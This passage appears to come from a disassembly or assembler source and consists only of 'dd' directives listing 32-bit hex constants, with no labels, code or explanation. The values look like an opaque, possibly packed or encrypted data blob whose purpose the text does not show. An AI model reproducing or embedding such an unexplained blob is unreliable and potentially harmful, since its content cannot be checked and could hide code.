0D732EA25h, 0F6EFA200h dd 2275D31Dh, 0D1E1001Fh, 8F74A89Eh, 0DC007021h, 7EFC9793h dd 50541BBFh, 703A05Fh, 0CBC318F3h, 2AF53043h, 0D60041C7h dd 3F5D29BDh, 8CE104h, 0A8D4766Ch, 0FCB15695h, 551F0100h dd 0D3193E7Eh, 0E75B00F3h, 0F854FECEh, 0E2009116h, 0A390134Ch dd 52F246h, 248CF1AEh, 0BE9ADFFh, 30663519h, 5DC8B2E8h dd 0FDCA005Eh, 6EE7E085h, 0D500C5E8h, 0F97EBDE2h, 7613647h dd 46089315h, 0DD27E0ADh, 0E90007FBh, 7FAE71EFh, 3D948F8h dd 0C08CFEDh, 0A990DCC5h, 0B802F218h, 7258520Dh, 92846071h dd 0E11B07BAh, 106FFB39h, 23BDD5Ch, 8F45C200h, 2BB6DA65h dd 0D77C006Ch, 4BAA129Ah, 4F909EEBh, 0F421C42Ch, 0F84ACC07h dd 93D62E60h, 0F0E050B0h, 50E6ECh, 371DC2A8h, 0B662DD66h dd 6E48D77Fh, 0E8F10304h, 90341ED9h, 0CCA88Eh, 7A6F245Fh dd 4A442E05h, 4816100h, 0EF911F17h, 0F8ECF6AFh, 2B260027h dd 0E84DC5Dh, 83002879h, 4C744970h, 0C7274772h, 0A008E3BEh dd 0B5DBA6B7h, 41B44800h, 0A5F2DC0h, 0FA1301D8h, 11D0BB3Ch dd 7D3BD8AFh, 8BAAF500h, 67434727h, 0E884072Eh, 0E012D5CBh dd 0A4586B88h, 0E4B2DC00h, 0BDD8376Ch, 44450054h, 23DDDF2Ah dd 0B072620h, 0B1BF8F46h, 0F41AA1C0h, 6D7003Eh, 89D27F41h dd 61015D26h, 0B3E45052h, 58802305h, 70D73363h, 480E867Ch dd 0FE4C444Dh, 0C2F10FBAh, 228700CCh, 0C5C46CDh, 0D5D3826h dd 700959D4h, 403104h, 0CDA8FFCh, 7147102h, 9E961A5Bh dd 0A25770A0h, 1D169C5Ch, 44033A89h, 0D8B69F79h, 0FA2F7C16h dd 0D6270063h, 5BD7479Ah, 9D00B3B8h, 0C7837339h, 1FF3AD30h dd 0E4A2DCE4h, 968680A8h, 1BCE237Ch, 0B06DEE1Dh, 0BBC9C2C0h dd 79A5AAh, 949DAD1Eh, 3C8ADFBFh, 5963B809h, 0F150A54Dh dd 0CE8EFF1Eh, 0A9473F9Ah, 36B0C17Dh, 2A0022Fh, 70F85CE1h dd 0B8404C14h, 12004127h, 0F32139B4h, 0FC0C301Dh, 4C6700EAh dd 871CB9EDh, 760F5BCFh, 4C3DAE7Ch, 521D684Bh, 550088DDh dd 7B50E8E0h, 0F00A8DDCh, 0DC2DFB43h, 0B86D900h, 16D07E6Fh dd 1902555h, 1EADF517h, 0C208F0C8h, 25F373Eh, 86B6DD29h dd 0BCC9032h, 48D6013h, 0D1214E99h, 9608C600h, 0E374864Ah dd 0EAFD02D6h, 24887963h, 5EEB4068h, 46288F01h, 74CDBF14h dd 4BB2F0h, 0A7CFCEABh, 0F0E5E01Dh, 0C203A0E8h, 2334A96Fh dd 2C340345h, 3F2412A6h, 0BDD5DDA8h, 90A4A30Ch, 6004802Dh dd 0CA5DF845h, 4F00EE4Bh, 35CC1815h, 3B82A66Eh, 3BCC6D8Eh dd 34989000h, 0F879FFB8h, 0D3456407h, 3EB049ACh, 0FBA316h dd 0CF746BD4h, 0A79A958Fh, 77FC1048h, 3017F00h, 8362C487h dd 77E10B06h, 8280A6FCh, 389022ADh, 0E5CFE3Dh, 0A0FFF8F9h dd 38D584Ch, 0D7E50082h, 4FB4DE40h, 5D1EFA2Dh, 0B340B921h dd 0E31EBF4h, 0D5E005Ch, 438F9D25h, 6C0CB13Ah, 3070C3F6h dd 5AC858CBh, 0B780EB3Ah dd 7F334410h, 0BD000C46h, 0C8CE76A9h, 759865h, 0ADECE894h dd 0B763C2CFh, 0CBF16D00h, 4BB0EA67h, 0BFD200A3h, 722258FAh dd 4A794E35h, 12F6081Ch, 1BB4D840h, 291643h, 95A0DC04h dd 59D7787Ah, 9889BC00h, 13033A42h, 0CD260125h, 0AF8F5B49h dd 6040F179h, 60711A0h, 0CB3754A5h, 0BD77EA30h, 90C4B0FCh dd 85B2005Ah, 552C6F6h, 64139C0Ah, 9800EBB5h, 0FAC5DF03h dd 8142005Ah, 9593CEBEh, 78005264h, 0A4253FF4h, 26D672C1h dd 148CA5h, 9FF0D098h, 0AC00F224h, 3D4EAA18h, 0AE3541h dd 0F6223982h, 0E2738F40h, 50C8BC00h, 0B6DCA566h, 0C49E0F18h dd 0FB00A931h, 92363243h, 40125C01h, 8578D82Ah, 0A19DDCh dd 0B63970F5h, 0F40F6EE5h, 775D3A2Eh, 17BB420h, 2D476B00h dd 276F0DEBh, 95B300AFh, 0B8083A90h, 0F8C1F93Dh, 47A10F37h dd 30ECDD8h, 9B940D50h, 3098CA04h, 5401F14Eh, 15B886EEh dd 5EF4C2F6h, 420616CFh, 0CD100E9Ah, 0A8FAE185h, 5F6B00E0h dd 4708C316h, 0F1750353h, 8540FCDFh, 8FB400ADh, 956A2DA7h dd 0E84BC117h, 6CD8C40h, 1CE77380h, 18A4F23Eh, 9C671810h dd 0C733E078h, 0C0541164h, 3B627A75h, 0E9806699h, 0C0A54160h dd 920F0E42h, 78AFF2C7h, 0A08E18h, 0B5CE91B0h, 39DD7351h dd 45C51200h, 70B1EB90h, 7FE900A2h, 294A592Ch, 0D8F1FAE2h dd 0E10D5C4Fh, 98AFFDF4h, 0C74D830h, 0D87F10BDh, 211DDF30h dd 910C180Dh, 8ED0AFh, 37DB75B8h, 2202DD49h, 70B0C328h dd 0E0A8C100h, 809DCBAEh, 0FE71E5D1h, 178F8C4h, 113A0750h dd 616B71E1h, 5EFC6075h, 2C94F907h, 382075C0h, 1E6C4762h dd 0C0E4E7FDh, 0CDFA4F7Eh, 40E6810h, 8083EC2Fh, 9008AB72h dd 0E51D384Eh, 15BD0075h, 92B0B6A4h, 57074FA3h, 0BAAA462Ch dd 0F6C99CC0h, 3E8B7B2Ah, 5380083Ch, 0A173FDF5h, 5B3C8C50h dd 0EFA4899Ch, 0EC7D80CEh, 0E2183E42h, 0F64F00BEh, 8AF7C5EAh dd 3930C2CCh, 9232D45Ch, 4B31000Eh, 7BA23542h, 851C4386h dd 0A4EABC7Dh, 0D4D64C0Ah, 40068C5Bh, 0F0F451h, 3121CE28h dd 0BB0E3DAh, 13007494h, 0C4485586h, 29F262DBh, 0B3211A2Ah dd 17023EB0h, 89EA0110h, 44EB0876h, 85449BA1h, 92E54477h dd 1EC988h, 74CCB952h, 60CD2FF0h, 6F08E960h, 16C62AECh dd 0B9E366h, 53971A85h, 7A001494h, 61119352h, 129249h dd 0B7964C45h, 0DCD6ED68h, 5BA86D07h, 0E7E731A6h, 618D140h dd 0BD9700B5h, 9EF8D68h, 593CA92Fh, 41A88F7Dh, 80CF49D9h dd 94F1E188h, 33F7013Bh, 1C2B6F2Ah, 1310807Eh, 4709CE03h dd 0D09F0012h, 3D3E92A9h, 0A8016E26h, 6485FD25h, 0B84346ABh dd 0ED678831h, 79EB60E4h, 437D30Ah, 9176B606h, 1CF421B8h dd 0C0A0117Eh, 0A56C679Ch, 6E0052D7h, 0D1EAF73Dh, 0ABE7EDh dd 732E96AEh, 72A6D98Fh, 388ABB1Ch, 6D4E7807h, 9B485900h dd 0FA4F4CD5h, 2ED21D03h, 98043412h, 8407CF9Ah, 9BC54E81h dd 12B4BEC4h, 0FBDB67h, 1615850h, 0F2B82E5Fh, 8C9410A0h dd 5DF01679h, 7A5A9800h, 1773F647h, 517B69h, 62AEDE3h dd 46A7DC38h, 703FB100h, 7AEB1972h, 1FAE4ACh, 0A1614A85h dd 0E060170Bh, 0BB00392Eh, 96BDF0DEh, 0F0CE7D88h, 20F80038h dd 0BC17DDA0h, 6E00AFCDh, 4592053Bh, 0E56707Ah, 0DCEC4907h dd 0B035D842h, 4408A480h, 2037F6Eh, 0AE9EF6C2h, 7813C0DAh dd 3820C0A0h, 0B6E7A739h, 7FA55801h, 0BEFE8722h, 63D4E4h dd 0ABD34AC0h, 0F378B94Dh, 0DE6E9C02h, 81229B70h, 0C4BE9398h dd 0ED10FECh, 0EDDA25E5h, 41788A60h, 379FADCh, 75427100h dd 0D9B321D4h, 4C5200DEh, 6F2644B1h, 0EA74D6F5h, 4BE65800h dd 0E820EEB2h, 8CF901CEh, 0B47A36CDh, 0DEE7206Ch, 12AAA100h dd 84DB0569h, 97CA1249h, 4ED800F6h, 5855B3D7h, 4BAF9506h dd 9A15Ah, 5D72CF54h, 0CC19CE5Fh, 0D6E0CDA0h, 328DB700h dd 0DF2212DDh, 0FC257CD0h, 38B100DCh, 6DE20F17h, 8EB0A86Fh dd 655D6C00h, 0C6BC8CFAh, 3E30005Fh, 42B19BC0h, 37A602Ah dd 0F035CA28h, 8F711100h, 52DFF050h, 730D007Fh, 604A8C5h dd 6B00A93Fh, 0F6D55872h, 1EA1690Fh, 9DB3A424h, 0C8CD401Bh dd 7DFC51BBh, 0B1C3DD0Dh, 28FC10C6h, 18A30756h, 0F1C09D6Fh dd 38BDD35Fh, 8BD70038h, 78935616h, 0A8A53D12h, 0FC3B6582h dd 0DC42C9CAh, 0FB9EBBC0h, 0BA0E47E0h, 60EEF0E7h, 32134A1h dd 44D4868h, 805C281Dh, 76463BF2h, 220084FDh, 6DDFC86h dd 303ABE3Ch, 25E2025Eh, 453B7737h, 2FB780E3h, 0B5ECE0E7h dd 18BF0091h, 931FE478h, 570337D6h, 8F3AE96h, 13D0876Bh dd 0C88A9Dh, 837CCFE3h, 0EBA01BE6h, 18D6FF07h, 0DC4CA42Ch dd 105D0723h, 0A0DC2D88h, 3BAD3F91h, 0F85FB07h, 8F8B48EEh dd 34D4800Ch, 0FE0E39Bh, 0F397FCE8h, 70960AE7h, 0EF583BABh dd 0E6129000h, 0CCBA25B4h, 0CD6A3F9Ch, 0C9D903FBh, 0B9EC8FDDh dd 0D8B195C0h, 92CE8400h, 0DF0B758Dh, 35D700AEh, 1CD133EAh dd 1F269B6Eh, 920E1616h, 4F7D2769h, 0EBF13EC1h, 56DAFCh dd 0C968CF29h, 5FC2859Dh, 0AA929001h, 0C4B55B02h, 7B7BFCF8h dd 627FCDh, 0DE4BAF0h, 789AFF63h, 39294500h, 0E5B9613Dh dd 85A101A7h, 1B9DF141h, 92270A5h, 165139h, 575B9C2Dh dd 6D8B8h, 30865250h, 0B76896Eh, 0C5B40F50h, 0A1019A7Bh dd 5FB55CB6h, 3EC8E8D6h, 6AE400C8h, 3F832654h, 0CB002EB2h dd 3523F5CAh, 32B44Eh, 17B1A2Dh, 8D703006h, 0B3DC38h, 0FD3142EEh dd 63F2ACh, 0CFBB0937h, 0FDA5433h, 565D5101h, 0C81A72F3h dd 676EC4h, 0F5EB93BDh, 3354A1CFh, 0F3DD3E00h, 0CD1D98CCh dd 37BA005Eh, 7A0D52D3h, 0EBE6D90Eh, 0CE5BB50Ch, 0F77A57h dd 234896C0h, 92DE6BEEh, 0BA0078F6h, 64B3FB2Ah, 7D5BBD21h dd 0A8AC0002h, 0B8799646h, 0C8018E3Ah, 77222B65h, 0E4F0E120h dd 0E88F1274h, 0F17BF1EAh, 1483F88Eh, 26613300h, 30FA8A0Dh dd 0AA5728C4h, 0FAF0095h, 7C5ECC88h, 7500CE2Dh, 847DB71Eh dd 261129Fh, 0EADBADCh, 1E408338h, 0B4E4FC62h, 114EE01Ch dd 935B7D40h, 3908296Ah, 280F5CB7h, 66417AF4h, 0E0C14D07h dd 0FD006552h, 3DBB416h, 0F8B2EE33h, 890004Eh, 171F3C4Ch dd 6C00D377h, 0CC2F24B6h, 0FC92E7CDh, 5B763E20h, 585C4800h dd 0B13A9AD9h, 4150B600h, 0D653402Eh, 48C0007Bh, 0E1141730h dd 0CA000683h, 0D867D10Ch, 34403E3h, 0DFBFE738h, 2AF0CE31h dd 9E759CC3h, 0D08E5300h, 0B4B247F0h, 2FB48E9h, 0CD989100h dd 255067C4h, 9F83B500h, 0EEC5A9F5h, 9792007Ah, 4EECB3B1h dd 0A8069BB2h, 0A9D3BDCFh, 0B6FD1F08h, 38D4C001h, 21613CBBh dd 1FA3B800h, 0BC28CF69h, 2BF00076h, 0E2E3EE41h, 0F77BF8BFh dd 0F5B95Ch, 1B267C5Ch, 7F73111Fh, 5ECB0520h, 833BA696h dd 0EEB8E5EEh, 35028440h, 746491B2h, 0DDFC68D5h, 6C3F1EF1h dd 1B880370h, 0ABA04048h, 7F1DB412h, 0F380F505h, 814366Ah dd 0DE9900BBh, 0CE5A2D67h, 64018469h, 20E080D1h, 0E2F49033h dd 4B5C0022h, 167442ECh, 6B7115C7h, 0FA17B63Dh, 3DE77B1Dh dd 0B1057C0h, 0C129E0h, 0A87DD738h, 0A5321BDCh, 5AF22400h dd 0F836D576h, 0A23D0043h, 5CABFA73h, 0F71DBB90h, 89008E17h dd 2D142611h, 621A009Dh, 27507FEEh, 173C4528h, 5C1C87B3h dd 76008F92h, 3758C2h, 0DE13614Ch, 0FFC48D91h, 420639h dd 1140D86Ah dd 75D30C6h, 0AC2F4115h, 583540EDh, 0EF0034ECh, 93841D2Ch dd 0E0643127h, 0F7FEBh, 577B1B63h, 0A59FAAF4h, 7D5A0700h dd 49465E6h, 0A484052Dh, 0D9C66Ch, 0E5E976D0h, 9B003F5Ah dd 371A39D3h, 1E65B0BCh, 470EFFB8h, 0DC978224h, 900CFE31h dd 0C659B78Fh, 0FDA63FA4h, 2AD78600h, 0EC798132h, 548CA000h dd 310D9568h, 27382E3Bh, 396B00CBh, 28473D45h, 0BCC46924h dd 0BD921602h, 30E2E33Fh, 9B099C81h, 0C03FD730h, 44248781h dd 94A0F9C4h, 2DCFAEFh, 0E57FA72Dh, 1E408B4Ah, 3D005E36h dd 2366165Dh, 53D27Eh, 90DEBC70h, 0F8926428h, 0EB6B4B00h dd 0A6843234h, 876700F5h, 45C13761h, 1C000BD2h, 3E1949C5h dd 0A33438h, 3302FE4h, 18EC3C8Dh, 0AA605800h, 0D21F208Eh dd 0D4C099Dh, 27F0C197h, 4F3AC400h, 64A9142Fh, 6EDC2CDAh dd 5BA3002Fh, 10715718h, 0A68F7A00h, 6D1AF8B7h, 0EAAE1DC3h dd 138BC340h, 0C6D00D47h, 2C137AEDh, 1600654Dh, 0E2EF97FBh dd 575D2668h, 0AD750140h, 8E2AD8F0h, 7E10CB48h, 0DEA84080h dd 45B6EAh, 3FE6D7A9h, 95A999Eh, 7B3B5309h, 57B801E1h dd 0B4206686h, 74A4A0AAh, 839E0042h, 1F3D995Ah, 3E071E43h dd 0C0CAEE7Ch, 0F70385Ch, 0E0F30955h, 0B0FB5DC0h, 8301A314h dd 0CE8C9377h, 95D938A1h, 0CBC6E840h, 98D30948h, 5424895Ah dd 0C70AAF23h, 3CBFC7h, 0B4EDD0F8h, 0F60B67h, 0A603AA5Ch dd 0F02CDB8Eh, 0A9A310C0h, 9B02F9h, 3B61E1FFh, 921D28AFh dd 76E36012h, 4EEDE300h, 534668Ch, 2FB5E918h, 7D9C405Ah dd 1E761767h, 0B8006DE8h, 1913B9F4h, 783FFEC0h, 8E89C080h dd 0BF0ED550h, 1500BDF4h, 3517C462h, 96A288h, 0B95BC2CCh dd 0E33194D7h, 37AB4200h, 139E3BDDh, 58C11F35h, 0BE0800E0h dd 0AF5E9B80h, 43ECFFE2h, 0EF35A300h, 5981567Dh, 15301C68h dd 18118006h, 1E80389Ah, 6367440Eh, 238E075Ch, 0C8AA5F93h dd 41B4F2h, 0FADC9356h, 9DE9AD5h, 286F4E00h, 6C8592F0h dd 34B4A08Ch, 1EAD25AFh, 560095FEh, 54175536h, 0CF505C1Ch dd 1853A318h, 0E099D2B4h, 0DA350Fh, 6B67A8C6h, 0D7A70FC5h dd 0B7C31Dh, 0B7E0502h, 0B40239ECh, 43F17CF4h, 2990A26Ch dd 40E4C241h, 858917h, 740BC7C0h, 0A07ECD25h, 9A2CBF04h dd 4080B336h, 4998B66h, 0D8EFA735h, 121887E0h, 0B5E3FAD2h dd 0C21D6D8h, 685548h, 45FD1D4h, 2B97D7Fh, 0D6086A81h dd 48400FBFh, 0D7F09C3Ch, 0AA5DDE07h, 0D0400950h, 7436BAF4h dd 0E17E0059h, 56CF7299h, 2F019F16h, 9483B78Ch, 74205C08h dd 0B00C06B9h, 3175BAAFh, 0DB37D81Eh, 0AD07D8ECh, 0D9B29Ch dd 0BE739A08h, 155F0654h, 0A049C9EBh, 0E50A4B00h, 0F2784F57h dd 0F9EEAE9h, 95A38990h, 74CD1EC0h, 0E63C96A5h, 0CB121805h dd 0E8062CB8h, 1AD9EEBBh, 0C00EFB2Fh, 14D6B060h, 0E661B91Ch dd 0C2F93084h, 1249C81h, 95FA4840h, 1EE10037h, 8018BC8Eh dd 2F129B7Dh, 984F07FCh, 5904BF02h, 908088FDh, 0C7C60AC3h dd 0D049DD48h, 0B83CC1B7h, 6CB3300Dh, 0BCF5C854h, 6031D4h dd 35150334h, 32BD8641h, 0A2790403h, 0BB240738h, 9096F322h dd 0E1FB1h, 6D182FB0h, 44E8EF31h, 0F4D8C50Fh, 6C41E048h dd 35C0B6Bh, 0F19BCC4Dh, 5FE02EAAh, 47C702Dh, 1A11C100h dd 1E9ADB95h, 21DF0072h, 0BA3002E4h, 0E3CF46Dh, 0C8EAA8C7h dd 0D649D200h, 953492D1h, 0C65D5C51h, 2D03943Ch, 0F966CE61h dd 5A0EE000h, 42A3F7D3h, 0DF118D6h, 0D7430944h, 9218F200h dd 9FBDFBC9h, 8F77001Dh, 242712C7h, 1FE009FFh, 300CC200h dd 0F555762Bh, 6CAE0008h, 0DABD24Fh, 6F00F693h, 9E94D8EEh dd 382936BDh, 0C980E57Dh, 0D69D5096h, 6B2C5C84h, 6C2C7155h dd 0AA208602h, 0E27C40AFh, 70107D02h, 83932ED4h, 0FCDB0746h dd 0E7C26049h, 0FF00055Ah, 16EB609Bh, 1D235239h, 0C09DA57Ah dd 66C584F1h, 1F0E3F55h, 869A7E25h, 1E10A7EBh, 80441297h dd 0B9A8E430h, 3524FFF6h, 1B2668F7h, 0A5EE5D03h, 0BAA24C31h dd 38593318h, 0FA00CAF3h, 0F5BABBA0h, 3D9BA620h, 0A0CCA5CDh dd 18F6EB12h, 0C4E76ED0h, 0FC008C9Ah, 0F0B9D44h, 9DD88450h dd 3E75B750h, 52EBB603h, 0AD54A6FCh, 7A8077C7h, 3B5A9h dd 57B93D87h, 47A88A30h, 0F5697400h, 4958B0D7h, 4BC00079h dd 90E6AEA5h, 0D200111Bh, 0E1341D6Ah, 0E3A8634Ah, 0F080E16Bh dd 190441BBh, 141BFD72h, 190C8CCh, 3CE955Ah, 0C4634B5Eh dd 0F200F347h, 13F0172Ch, 5F2EE9h, 0B6344461h, 0C93CA96Ah dd 60330700h, 0E46819D8h, 90AE88Fh, 3851FCD7h, 0A5619580h dd 5801D8BBh, 1F704FFFh, 905095AEh, 0CCEA146h, 0C3F6C25Ch dd 8138F808h, 8AEC0358h, 7BF50D73h, 89520318h, 8B99596Dh dd 40E748B3h, 92F64B67h, 1AAE3B00h, 554ED1B2h, 1C6A009Dh dd 4D44EEC3h, 31005E70h, 0D5F10C8Eh, 392F152Ah, 915C46A0h dd 61D98801h, 0C0C9C6B8h, 1C00A1CFh, 5C1FD568h, 50807266h dd 1DD877h, 0BFF81BBAh, 0DA2ED437h, 0E6D55400h, 5344CA4Fh dd 0CCF307FBh, 40423ADDh, 4D79E7A7h, 58FDC100h, 6451CE45h dd 8498C7h, 7BA0092Bh, 0B5F3E4ACh, 0F6C94912h, 0DA88A200h dd 2E1AB950h, 3239418h, 0A20BABA8h, 0DE331688h, 6BE30500h dd 413B8228h, 7A4C00DBh, 6FC02784h, 2200F9B0h, 85E119AAh dd 0F3325Eh, 0CDF02145h, 961C10EDh, 0F535B302h, 0E091BF2Eh dd 2D4DA4h, 1F31A60Eh, 35FB815h, 496C3F00h, 3E63EFBFh dd 84383E12h, 0BCA54880h, 4C0C0F42h, 1F9FD039h, 0FFDCD782h dd 0C875E5C0h, 7C0EF5Ah, 1BFC25C4h, 0E2063098h, 800C697h dd 912F7E1Ch, 1A763D7h, 0F8E8159Eh, 205E6601h, 10CF1203h dd 0FEC40049h, 6F148323h, 0CA80801Ch, 39D9062Bh, 0CE1A200h dd 28ED9CD4h, 3E1BF06Ch, 8E0C5105h, 0EB316742h, 0E6547600h dd 2279CF63h, 8268C0C8h, 7EBA08A0h, 53284660h, 18693DBh dd 0E0EDF9ACh, 4BD9D031h, 4A227740h, 17E228DBh, 9D318C8h dd 2F632002h, 9DB5883Bh, 0EDC08639h, 97503673h, 117123h dd 5479A333h, 4BFD8B4Ah, 12E6DF00h, 90B9BD2Dh, 0EED10080h dd 0BA2E7E23h, 0D4013D3Ah, 0B93B86Eh, 0EF18E36h, 0FD8F30h dd 0C11F4E54h, 6DBD0AF4h, 40BB5F00h, 48499D33h, 9B5B3E29h dd 7B432380h, 174726B3h, 0EF24F701h, 0BBC14989h, 9D4B30h dd 95A703B9h, 6199832Ch, 8B07151Dh, 0C6AD54C0h, 0EB81125h dd 170DD051h, 84A29620h, 0F4076C1Ah, 0FA613ACBh, 0BF75200h dd 2A90E295h, 8448EDh, 3E563B58h, 0F2D54987h, 3E0D101h dd 3888AAD0h, 125C32D0h, 0AC30607h, 5B06D1Ah, 0C085D636h dd 0BB8DB053h, 58DC074Ch, 993B18B6h, 0FEC2DB10h, 0C94005E5h dd 404BEB08h, 98835CCCh, 0A779DC0h, 30D76C00h, 0FB444D40h dd 0D6DA0349h, 0DB63DE28h, 0DDD5B8B0h, 0C9253300h, 0E9BDA418h dd 0CC90005Fh, 0A5C75782h, 40000FFEh, 288653DFh, 0F84AED85h dd 7E83FB35h, 0BFBBECDh, 0C5A778E0h, 566EF600h, 0C4ECC13Bh dd 0FCFA0021h, 0D310C2C6h, 0AE034FDEh, 30CB6786h, 8536F880h dd 0BC970164h, 59EF0CD0h, 6C40F235h, 0E000B391h, 727CDF65h dd 0FD0B795h, 0C00824E3h, 7B1A92A0h, 0F572C69Dh, 0EF871900h dd 7C1050Bh, 1F910085h, 0F79723C9h, 7100AA74h, 6A664741h dd 3F2DFABh, 0DD8995ACh, 0C6B86E13h, 4700438Eh, 3D04F1B4h dd 27F7C3h, 0A9EDEFA5h dd 0C6CA81F5h, 5967650Fh, 4B336063h, 1FE1C8h, 0C347B173h dd 5BBFF49Ah, 151820E0h, 0D4E16189h, 0B1E83BB3h, 780CD58Eh dd 108050C8h, 9F902019h, 8FB909EDh, 0EF871811h, 773F3017h dd 0D001DD25h, 5F57560h, 50BBC9D9h, 9E4158B0h, 850F2983h dd 40BC0601h, 4552FABh, 0F5B00C98h, 0D69E2B63h, 30C0CF7Ch dd 0CB7B36C6h, 95C0440h, 80C8943Ch, 564443ABh, 55605960h dd 4223E2h, 0FDDACA87h, 0A3C0BA7h, 0E75FF3Dh, 0B9BB92B8h dd 2ECD4DAh, 0DD5E009Ch, 542F01DBh, 937BC559h, 4F674A00h dd 74657D19h, 3A1B03BCh, 0B11A5E3h, 0F1AF94F0h, 0FAB8AC3Fh dd 0A3EDF00h, 0C03CFBF5h, 2B7402h, 0F42F1424h, 90C646FCh dd 40EB5D00h, 1F5B9B26h, 19E3000Eh, 9CD7497Bh, 9307F3F5h dd 6F61BBF4h, 0E87EC9C0h, 0B97FA6h, 1CEAA59Eh, 839004C5h dd 0EFBD583Eh, 0D74D2611h, 43C7DB8h, 0CC323894h, 0A32C1D6h dd 0E8BEF108h, 52002012h, 7A3EA73Fh, 0F43627D5h, 4A5000E7h dd 30C1E8A9h, 0DB00BDC8h, 25FB32FEh, 74A32D54h, 0E2B03322h dd 0D9B86720h, 2307F7A9h, 8173E13h, 0FA2D3690h, 3B871B6h dd 318E1560h, 0E1E120DAh, 87E021E3h, 0A79C8618h, 26AA8179h dd 219E23E9h, 0BE0060B4h, 0FCE8A830h, 0C10295A3h, 9D7E9958h dd 0EC60F973h, 0BD411DB6h, 0B592C1F2h, 47E43880h, 0B25C4DEFh dd 0D309B7Ch, 906B3108h, 9AAC1FC7h, 0DCDDC061h, 0D5DF5687h dd 315B2E00h, 6A65B2A3h, 4F7407C3h, 804EE48Fh, 0DF64C4C9h dd 0D6728D1Eh, 10CD1940h, 0C3E80Dh, 5FE26C5Bh, 0ABF3F36h dd 0C8D4AD05h, 728011F9h, 68EE1Eh, 0F44C9BEAh, 6E7C19E8h dd 77366F00h, 2B294733h, 71B0079h, 3FED14E5h, 6212019Ch dd 5600AADDh, 0F505C6DFh, 6EE71E1Eh, 5B9A4022h, 70FD3ED9h dd 78F1CC0Fh, 0D8D22057h, 0CC7AECDCh, 0CD2138D4h, 6178EA01h dd 7DADB61Ch, 74FF26F0h, 7B7C0169h, 0C0FDB16Fh, 0D43FC56Ch dd 0F60379EAh, 54CFC5CAh, 238F814Dh, 18275F0h, 6C70FCDCh dd 0DED9CAFAh, 1039180Fh, 2EB10F84h, 6EA03682h, 0C3C2F2F8h dd 75217E60h, 0C1FFB4EFh, 7DC82430h, 0A54081DBh, 648E3B7h dd 37C7B4C0h, 0B1B8D1A8h, 87DA8BEFh, 0D6584418h, 140A30CCh dd 3C27E9CFh, 7E25D000h, 1A58B762h, 0C3FE3D18h, 0C06E0308h dd 7E9CED20h, 0F700B356h, 0E4A50513h, 18CD2055h, 50D9DC49h dd 3E3E5851h, 0B94D0060h, 3137E1ACh, 0EAC60040h, 352CB5AFh dd 1000A29h, 365742BBh, 0F29B11h, 0B805C32Ah, 4DC5640Ch dd 8A69D505h, 0B084A6F4h, 7C10B980h, 41BE0024h, 51E26D25h dd 1EC09EEFh, 0C1381127h, 0FED20112h, 890FBCA0h, 993DDCF3h dd 1E775F00h, 0CF624B28h, 0E4910031h, 95FB7CCAh, 0C3D7535h dd 98007483h, 3EFFBDEEh, 2AEB99h, 16D59D2h, 0E514F567h dd 53D95E00h, 0E6CD2179h, 0F61D1FA3h, 0C0645E8Ah, 8901EE1Bh dd 7400E7F2h, 4FAB26A6h, 0F276154Ch, 0B9B400B5h, 9D7C5C01h dd 9500EFE4h, 0C07EBD8Fh, 0F0E876h, 16F5B454h, 0E28B83A0h dd 0E7F4A200h, 0B03975A8h, 1813F824h, 18A37F31h, 0C1005DF0h dd 0E9B33492h, 34185EBh, 0C2896FB7h, 9001613Ch, 9C5B308Fh dd 13C80F03h, 0B7DE0065h, 41D4F326h, 0C13E4554h, 6776000Bh dd 0B01FA76Ch, 0DBE50FB1h, 0E4C092F7h, 0FC4278A6h, 0F40042B8h dd 1B5EBBB5h, 77F0A181h, 8C4C50AFh, 0C0E2E076h, 8F5E6708h dd 833B7D80h, 0ADB18306h, 88389DE0h, 1DACD77Fh, 4CF3C1A7h dd 0F53010DDh, 3B412224h, 32B11200h, 65E84h, 319FFE9Bh dd 611AB2DFh, 5D894400h, 82213448h, 0F8470007h, 2D9EEAA3h dd 0D267B652h, 722063B4h, 70816Eh, 567C2005h, 0A229F940h dd 0EB7ADB00h, 0B8BAC14Ch, 579E0F84h, 0B9405679h, 642ACCF8h dd 0D007AE0h, 0EEB1C809h, 1E79FF85h, 0D05919h, 4ED7E4ACh dd 69791C7Ch, 629C6700h, 0F2F58071h, 6DC3E9Eh, 9DA3E002h dd 25C3AF42h, 5756A000h, 0AA557190h, 798A3B05h, 9A7DB80h dd 5DB1A203h, 0B3EAA007h, 1FE31068h, 0A401C06Fh, 0FCFB00B6h dd 8E3FD819h, 35031752h, 8B55DD85h, 70D0AFBAh, 0C3DF81h dd 0FB995871h, 3114D8A9h, 3D45F31Fh, 35F15782h, 1F94A0F7h dd 0B078A9FDh, 69481DA9h, 0ECDC3CFh, 34FB188Eh, 0EC8349A8h dd 0E6A47C00h, 0CE702E8Fh, 2D561D9Ch, 0B42B00D2h, 0F12AECE8h dd 7B0F9B70h, 3DA98494h, 35831943h, 0B2F3A08Bh, 694A035Ch dd 0F1F60D9Eh, 0DB6023h, 0B9389BF9h, 4486D136h, 6200AB22h dd 97A07A37h, 70094B57h, 17AE037Eh, 1F9848F9h, 961D2800h dd 6A4B7D4Eh, 0A4300003h, 8A7C660Eh, 0E803B1B2h, 0EE8E1C06h dd 0CC31009Fh, 8BAF9E72h, 0F201648Ah, 0E403FF63h, 0C06EDA17h dd 1CA1E9D8h, 0A784618h, 0A2A94Ah, 728AE7B9h, 0DC7B73B0h dd 0C8E1CC6Ch, 6AB4031Ch, 5B2965EDh, 0D5C8110Bh, 0D6178084h dd 0EF2E01Fh, 8BE1E398h, 48A52078h, 7E00847Eh, 0D92C2354h dd 19B26960h, 761C6F97h, 48F1D104h, 9E08A15Ch, 0C4428BFAh dd 0EBB14016h, 78CAA1h, 48AC7BA7h, 6AB7B5E6h, 0ED502960h dd 0A049A4EFh, 75163194h, 7E2C7BFh, 325EB01Ch, 7C016497h dd 811D2B1Fh, 0FCC8A17h, 0AFEDDh, 5F9A457Fh, 6DBC0BD9h dd 0FCFC472Dh, 0FD2F000Fh, 0DEF55A78h, 581B3E00h, 0C2F31C97h dd 0CFCD048Bh, 0C012E0A4h, 0E3899AA4h, 44C4571Dh, 742409C0h dd 0A63076h, 1FA56DABh, 53895C7Dh, 37E6C802h, 0E00770B2h dd 5E97Fh, 0BC082772h, 0B68EFDBBh, 19B2183Dh, 37082E21h dd 5B1C2180h, 978C4AFAh, 2002971h, 0FF88669h, 403E209h dd 0BFE1C9EFh, 1604876Ch, 28003870h, 9CBE9ECBh, 0E69BCDF5h dd 98570C45h, 46200AE1h, 320E4C7Eh, 2094E943h, 8A71DC06h dd 53FE0C6Ch, 2710A01Ch, 6FD0B200h, 69C1E022h, 0F2F0005Fh dd 